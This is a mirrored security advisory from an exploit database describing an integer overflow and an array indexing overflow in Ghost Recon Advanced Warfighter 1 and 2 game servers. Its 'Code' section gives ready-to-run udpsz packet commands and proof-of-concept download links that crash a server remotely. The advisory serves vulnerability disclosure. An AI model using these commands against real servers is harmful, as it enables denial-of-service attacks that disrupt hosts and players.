Ghost Recon Advanced Warfighter – Integer Overflow / Array Indexing Overflow

• Exploit Database
• 14 阅读

• 作者： Luigi Auriemma
  日期： 2010-07-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14286/

• Source:
  http://aluigi.org/adv/grawful-adv.txt
  
  #######################################################################
  
   Luigi Auriemma
  
  Applications: Ghost Recon Advanced Warfighter
  Ghost Recon Advanced Warfighter 2
  http://ghostrecon.us.ubi.com/graw2/
  Versions: GRAW<= 1.35
  GRAW2 <= 1.05
  Platforms:Windows
  Bugs: A] interger overflow
  B] Array indexing overflow
  Exploitation: remote, versus server
  Date: 07 Jul 2010
  Author: Luigi Auriemma
  e-mail: aluigi@autistici.org
  web:aluigi.org
  
  
  #######################################################################
  
  
  1) Introduction
  2) Bugs
  3) The Code
  4) Fix
  
  
  #######################################################################
  
  ===============
  1) Introduction
  ===============
  
  
  Ghost Recon Advanced Warfighter (GRAW) and its sequel (GRAW2) are two
  well known games developed by GRIN (http://www.grin.se) and part of the
  famous game series called Ghost Recon.
  
  
  #######################################################################
  
  =======
  2) Bugs
  =======
  
  -------------------
  A] integer overflow
  -------------------
  
  The games are affected by an integer overflow in a particular type of
  packet that makes the following operations:
  - takes the number from a 16 bit field (offset 4)
  - multiplicates it by 1300
  - takes the 32 bit number after it at offset 6
  - substracts the first number from the second one
  - checks if the result is bigger than the size of the packet (signed)
  - performs a byte-per-byte copying on a heap buffer
  
  
  --------------------------
  B] Array indexing overflow
  --------------------------
  
  In some types of packets an 8bit value is used for accessing an array
  used for internal operations (pointers and so on).
  So through the setting of particular values for that 8bit field is
  possible to crash the server during these internal operations.
  
  
  In both the cases doesn't seem possible to have worst effects than
  invalid memory accesses.
  
  
  #######################################################################
  
  ===========
  3) The Code
  ===========
  
  
  http://aluigi.org/testz/udpsz.zip
  or
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14286.zip (grawpoc.zip)
  
  A]
  udpsz -C "0100 13 0003 0000 ffffffff" -b 0x41 SERVER 16250 3000
  
  B]
  udpsz -C "0100 0d" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000
  or
  udpsz -C "0100 0e" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000
  
  
  #######################################################################
  
  ======
  4) Fix
  ======
  
  
  No fix.
  
  
  #######################################################################